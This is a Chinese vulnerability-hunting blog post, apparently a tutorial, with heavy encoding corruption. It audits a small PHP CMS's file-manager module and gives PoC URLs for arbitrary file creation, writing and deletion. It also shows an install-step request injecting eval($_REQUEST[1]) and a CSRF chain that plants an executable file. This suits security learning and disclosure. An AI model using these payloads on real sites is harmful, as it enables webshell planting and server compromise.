0x01 前言
大概是在上半年提交了某個(gè)CMS的命令執(zhí)行漏洞,現(xiàn)在過(guò)了那么久,也想通過(guò)這次挖掘通用型漏洞,整理一下挖掘思路,分享給大家。
0x02 挖掘前期
一、CMS選擇
如果你是第一次挖白盒漏洞,那么建議你像我一樣,先找一些簡(jiǎn)單的來(lái)挖掘。
具體源碼下載地址可以參考:
https://github.com/search?q=cms https://search.gitee.com/?skin=rec&type=repository&q=cms https://down.chinaz.com/ https://www.a5xiazai.com/ ......
百度找找,肯定不止這些
那么應(yīng)該怎么選擇呢(這里我是站在第一次挖掘,或者僅使用過(guò)掃描工具掃描的師傅的角度這樣說(shuō)的,如果做過(guò)開(kāi)發(fā),代碼功底很強(qiáng)等情況,emm...當(dāng)我沒(méi)說(shuō)。):
1、找最新版的版本較低的,例如1.1、1.2 2、找github star不多的 3、找源碼總?cè)萘啃〉?4、盡量不要找使用tp、yii、laravel等框架型CMS
這里說(shuō)一下理由:
1、如果cms版本高,說(shuō)明開(kāi)發(fā)有經(jīng)常維護(hù),同時(shí)也說(shuō)明里面的簡(jiǎn)單漏洞已經(jīng)被發(fā)現(xiàn)并且被提交并整改了。(具體這個(gè)可以看看CMS官網(wǎng)放出的更新日志)
2、為什么找github star不多的cms?很簡(jiǎn)單,使用的人不多,沒(méi)人標(biāo)星,功能也比較少。
3、源碼少容易看啊,而且想著源代碼就那么點(diǎn),看著也不會(huì)太心累。
4、這是我個(gè)人的理解哈,因?yàn)榫拖窈芏嗳苏f(shuō)的,第一個(gè)審的可以看看bluecms。為什么?因?yàn)楹?jiǎn)單啊,tp框架首先各種C方法,I方法的,就夠頭疼了。


扯了那么多,總結(jié)一句話:
跟挖SRC一樣,如果你一開(kāi)始就瞄著阿里SRC、百度SRC等來(lái)挖掘,一直挖不到洞,是不是心態(tài)崩了呢;如果你一開(kāi)始借助nday的poc,結(jié)合fofa搜集資產(chǎn),一下子就能挖到簡(jiǎn)單、小型企業(yè)的漏洞,雖然可能漏洞獎(jiǎng)金不多、但是滿(mǎn)滿(mǎn)的成就感有沒(méi)有~
代碼審計(jì)也是一樣的,一開(kāi)始就找框架型的,MVC架構(gòu)的CMS,不僅可能看不懂代碼,還可能連路由都弄不懂呢。所以一開(kāi)始還是找些簡(jiǎn)單的練練手比較好~
二、環(huán)境準(zhǔn)備
1、PHPstudy
PHP、中間件、數(shù)據(jù)庫(kù),一個(gè)軟件搞定,反正我是覺(jué)得用著很香。

2、代碼掃描工具
目前的話我用的比較多的是seay和fortify。這里其實(shí)都一樣,不是所有漏洞都是要通讀代碼來(lái)發(fā)現(xiàn)的,有的時(shí)候借助工具可以快很多。


3、BurpSuite
滲透測(cè)試神器級(jí)別的工具,這里不多介紹了,畢竟挖漏洞不抓包怎么行呢。

4、漏洞掃描工具
雖然我們拿到了源碼,但是挖漏洞也不一定要從代碼上進(jìn)行呀,可以結(jié)合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是業(yè)內(nèi)說(shuō)的灰盒測(cè)試。
掃描工具這里推薦Xray+burp聯(lián)動(dòng)進(jìn)行。隨便抓幾個(gè)包,有沒(méi)有漏洞一目了然,讓我們可以在測(cè)試漏洞的時(shí)候,還同時(shí)進(jìn)行掃描。

5、編輯器
編輯器的作用是方便查看代碼,在有需要的時(shí)候才用,這里可以算是我水字?jǐn)?shù)吧,我個(gè)人比較喜歡nopad++,當(dāng)然別的也是可以的,phpstorm最好,可以快捷進(jìn)行函數(shù)跳轉(zhuǎn)。
工具下載地址:
https://www.xp.cn/ https://github.com/f1tz/cnseay https://github.com/chaitin/xray/releases
三、搭建環(huán)境
1、首先下載源碼,解壓并放到phpstudy安裝目錄下的WWW文件夾中

2、安裝方法一般是請(qǐng)求http://127.0.0.1/install/就可以了,按照提示輸入信息。

3、提示安裝成功即可

0x03 挖掘中期
一、代碼掃描
借助seay自帶的自動(dòng)審計(jì)功能進(jìn)行代碼掃描 
二、黑白盒配合發(fā)現(xiàn)漏洞
這個(gè)其實(shí)是很有搞頭的,這里沒(méi)有詳細(xì)說(shuō)是因?yàn)楫?dāng)時(shí)確實(shí)重心在白盒上,實(shí)際上我感覺(jué)這個(gè)發(fā)現(xiàn)漏洞再去找對(duì)應(yīng)的代碼,會(huì)更加有趣些。
1、瀏覽器設(shè)置代理,指向burp:127.0.0.1:8080

? 2、burp設(shè)置代理,指向xray:127.0.0.1:7777
? 3、開(kāi)啟xray被動(dòng)掃描,命令:
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
? 4、在每個(gè)功能點(diǎn)都點(diǎn)一點(diǎn),就跟正常測(cè)黑盒即可
? 5、查看xray掃描結(jié)果
? 6、查看代碼掃描結(jié)果
?
三、分析掃描結(jié)果
1、將結(jié)果一個(gè)個(gè)點(diǎn)擊查看,分析漏洞是否真實(shí)存在 因?yàn)楣ぞ呤前凑照齽t匹配來(lái)進(jìn)行掃描的,總會(huì)出現(xiàn)一些可能存在,但是實(shí)際不存在的情況,例如這個(gè):
? 因?yàn)?_G['SYSTEM']['PATH']疑似為可控變量,所以爆出任意文件包含漏洞,那么實(shí)際上,往上看可以發(fā)現(xiàn)$_G['SYSTEM']['PATH']其實(shí)已經(jīng)事先定義好了。
? 2、定位漏洞
1)發(fā)現(xiàn)一個(gè)file_get_contents,可控變量為$path
? 往前看,$path為我們直接get傳入,只是做了一些限制與鑒權(quán),沒(méi)有進(jìn)行過(guò)濾 
$path = realpath($_GET['path']);
if (!$path) {
if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
PkPopup('{content:"不存在的路徑,請(qǐng)求路徑:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
ExitJson('不存在的路徑,請(qǐng)求路徑:' . $_GET['path']);
}
$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
if (strpos($path, $spath) !== 0) {
if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
PkPopup('{content:"越權(quán)操作,請(qǐng)求路徑:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
ExitJson('越權(quán)操作,請(qǐng)求路徑:' . $_GET['path']);
}
switch ($type) {
case 'edit' :
if (filetype($path) != 'file') {
if ($_G['GET']['JSON']) {
ExitJson('不存在的文件');
}
PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
$suffix = substr($path, strrpos($path, '.') + 1);
if (!InArray($suffixs, $suffix)) {
if ($_G['GET']['JSON']) {
ExitJson('不支持的文件格式');
}
PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
$filecontent1 = file_get_contents($path);
$filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
if ($filecontent1 && !$filecontent) {
if ($_G['GET']['JSON']) {
ExitJson('不支持該文件編碼,僅支持UTF-8');
}
PkPopup('{content:"不支持該文件編碼,僅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
}
if ($_G['GET']['JSON']) {
ExitJson($filecontent1, TRUE);
}
$path = str_replace('\', '/', $path);
$paths = explode('/', $path);
$path = '';
for ($i = 0; $i < count($paths); $i++) {
if ($i == count($paths) - 1) {
$filename = $paths[$i];
} else {
$path .= $paths[$i] . '/';
}
}
ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
break;
2)往下看,對(duì)$path進(jìn)行unlink(),即刪除操作

case 'del' :
$r = unlink($path);
ExitJson('操作完成', $r);
break;
3)再往下,傳入mkname,使用file_put_contents進(jìn)行文件創(chuàng)建,內(nèi)容為空。很明顯只是檢測(cè)是否存在重復(fù)創(chuàng)建的情況,未進(jìn)行過(guò)濾。

case 'mkfile' :
$mkname = $_GET['mkname'];
if (!$mkname) {
ExitJson('請(qǐng)輸入目錄或文件的名稱(chēng)');
}
if ($type == 'mkdir') {
if (file_exists($path . "/{$mkname}")) {
ExitJson('目錄已存在');
}
$r = mkdir($path . "/{$mkname}");
} else {
if (file_exists($path . "/{$mkname}")) {
ExitJson('文件已存在');
}
$r = file_put_contents($path . "/{$mkname}", '');
}
ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);
break;
}
3、研究路由,查看如何調(diào)用漏洞函數(shù) 1)首先查看這個(gè)漏洞路徑,字面上意思是在/app/目錄下的一個(gè)文件管理的操作
/app/filesmanager/index.php2)回到網(wǎng)站,剛剛黑盒測(cè)試的時(shí)候,發(fā)現(xiàn)路由規(guī)律為:

? 請(qǐng)求了http://url/index.php?c=read&id=1&page=1后,會(huì)發(fā)出這樣的一個(gè)請(qǐng)求:
/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1通過(guò)a=puyuetianeditor:index,定位文件位置為/app/puyuetianeditor/index.php
? 3)在文件中看到繼續(xù)請(qǐng)求了'/app/puyuetianeditor/phpscript/' . $_G['GET']['S'] . '.php,在URL中可以看到s傳入的參數(shù)為myfiles,所以可以定位文件路徑為:
/app/puyuetianeditor/phpscript/myfiles.php

4)漏洞路徑/app/filesmanager/index.php即可以對(duì)應(yīng)URL
/?c=app&a=filesmanager:index
四、驗(yàn)證漏洞
任意創(chuàng)建文件
1、搭建網(wǎng)站并登錄進(jìn)網(wǎng)站后臺(tái)
? 2、漏洞存在點(diǎn)為/app/filesmanager/index.php

3、進(jìn)行一些操作后,通過(guò)file_put_contents創(chuàng)建文件,poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
? 4、在網(wǎng)站根目錄可以看到文件創(chuàng)建成功
?
任意文件寫(xiě)入
poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php POST: filecontent=
? 可以看到文件內(nèi)容成功寫(xiě)入
? 嘗試執(zhí)行命令
?
任意文件刪除
poc:
http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
? 漏洞文件存在的路徑為/app/filesmanager/index.php
? 可以看到123.php文件已成功刪除。
?
五、組合漏洞擴(kuò)大成果
1、任意文件刪除配合系統(tǒng)重裝(失?。?/strong>
以前就有看到過(guò)這樣的漏洞,因?yàn)橄到y(tǒng)重裝的時(shí)候,會(huì)將用戶(hù)輸入的配置信息寫(xiě)入到php文件中,那么如果可以輸入代碼,便可以成功執(zhí)行了,這里嘗試一下。
1)首先查看index.php文件
只要install.locked文件存在即表示網(wǎng)站已安裝
? 2)再看/install/index.php,可以看到也是這個(gè)文件存在即不能重裝系統(tǒng)。 
3)通過(guò)任意文件刪除,將此文件進(jìn)行刪除:
http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
? 4)訪問(wèn)/install/index.php即可進(jìn)行重裝系統(tǒng)操作
? 5)正常執(zhí)行,在step=2的時(shí)候,輸入數(shù)據(jù)庫(kù)等信息 
? 定位到/phpscript/environment.php文件
? 再到/template/environment.hst
? 發(fā)現(xiàn)關(guān)鍵字mysql_username
? 全局搜索一下,定位文件位置: 
? 可以看到配置信息最后會(huì)寫(xiě)入到這里。
? 6)抓取傳入信息的數(shù)據(jù)包,進(jìn)行測(cè)試
? 多次fuzz,確認(rèn)確實(shí)可以寫(xiě)入一些東西
POST /install/index.php?step=3 HTTP/1.1 Host: 192.168.150.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 302 Origin: http://192.168.150.9 Connection: close Referer: http://192.168.150.9/install/index.php?step=2 Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E _webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9
? 7)最后發(fā)現(xiàn)不能傳入;,否則會(huì)報(bào)錯(cuò)
? 8)假設(shè)傳入進(jìn)去了,又會(huì)顯示403 
? 9)感覺(jué)有機(jī)會(huì),后面就看師傅們嘗試了。。。 ?
2、任意文件寫(xiě)入配合CSRF(成功)
在dedecms中看到過(guò)的漏洞,因?yàn)楹笈_(tái)的任意寫(xiě)文件在沒(méi)有管理員權(quán)限的支持下無(wú)法利用,那么倘若配合CSRF漏洞,借用管理員的cookie便可以直接執(zhí)行,擴(kuò)大漏洞危害。 在這里嘗試一下: 1)首先抓取寫(xiě)入文件的數(shù)據(jù)包,可以看到?jīng)]有明顯的token等字段
? 2)在漏洞文件中只是看到了權(quán)限檢測(cè)
? 3)使用burp生成任意文件寫(xiě)入的CSRF漏洞POC,保存為test.html 
? 4)生成任意文件創(chuàng)建的CSRF漏洞POC
? 5)將兩個(gè)文件整合到一起,并設(shè)置自動(dòng)提交
6)在已登錄的瀏覽器中打開(kāi)test.html文件,跳轉(zhuǎn)了幾次后,顯示ok,保存失敗
? 跟前面任意文件寫(xiě)入的返回是一樣的,在網(wǎng)站根目錄可以看到已經(jīng)成功寫(xiě)入了
? 執(zhí)行命令
?
0x04 挖掘后期&總結(jié)
挖掘后干嘛?提交漏洞唄~ 好的,這個(gè)算是剛開(kāi)始學(xué)習(xí)沒(méi)多久挖掘到的漏洞,其實(shí)現(xiàn)在覺(jué)得技術(shù)含量不高,發(fā)現(xiàn)漏洞也不難,主要想分享一下過(guò)程以及思路。 最后,希望看到這篇文章到小伙伴也能很快挖掘到通用型漏洞~
-
源碼
+關(guān)注
關(guān)注
8文章
678瀏覽量
30913 -
代碼
+關(guān)注
關(guān)注
30文章
4927瀏覽量
72499 -
漏洞
+關(guān)注
關(guān)注
0文章
205瀏覽量
15867
原文標(biāo)題:實(shí)戰(zhàn) | 某通用型漏洞挖掘思路分享
文章出處:【微信號(hào):菜鳥(niǎo)學(xué)安全,微信公眾號(hào):菜鳥(niǎo)學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
小米路由器任意文件讀取及遠(yuǎn)程命令執(zhí)行漏洞解析
AlphaFuzzer漏洞挖掘工具的使用
開(kāi)源鴻蒙 OpenHarmony 獲得 CVE 通用漏洞披露編號(hào)頒發(fā)資質(zhì)
基于符號(hào)執(zhí)行技術(shù)實(shí)現(xiàn)的驅(qū)動(dòng)程序的漏洞檢測(cè)
Adobe發(fā)布安全更新,修復(fù)了Adobe Acrobat與Reader中多個(gè)關(guān)鍵安全漏洞
ThinkPHP5.0.遠(yuǎn)程代碼執(zhí)行漏洞預(yù)警
1433端口的SQL TOOL執(zhí)行命令錯(cuò)誤應(yīng)該如何修復(fù)詳細(xì)說(shuō)明
思科升級(jí)遠(yuǎn)程命令執(zhí)行等高危漏洞
漏洞挖掘工具afrog軟件簡(jiǎn)介
linux技術(shù):WAF運(yùn)行命令執(zhí)行方法
Linux命令執(zhí)行Bypass常見(jiàn)姿勢(shì)介紹
Linux命令執(zhí)行Bypass常見(jiàn)姿勢(shì)
系統(tǒng)邏輯漏洞挖掘實(shí)踐
uboot命令的執(zhí)行過(guò)程是什么
bootm命令的執(zhí)行流程

某CMS的命令執(zhí)行漏洞通用挖掘思路分享
評(píng)論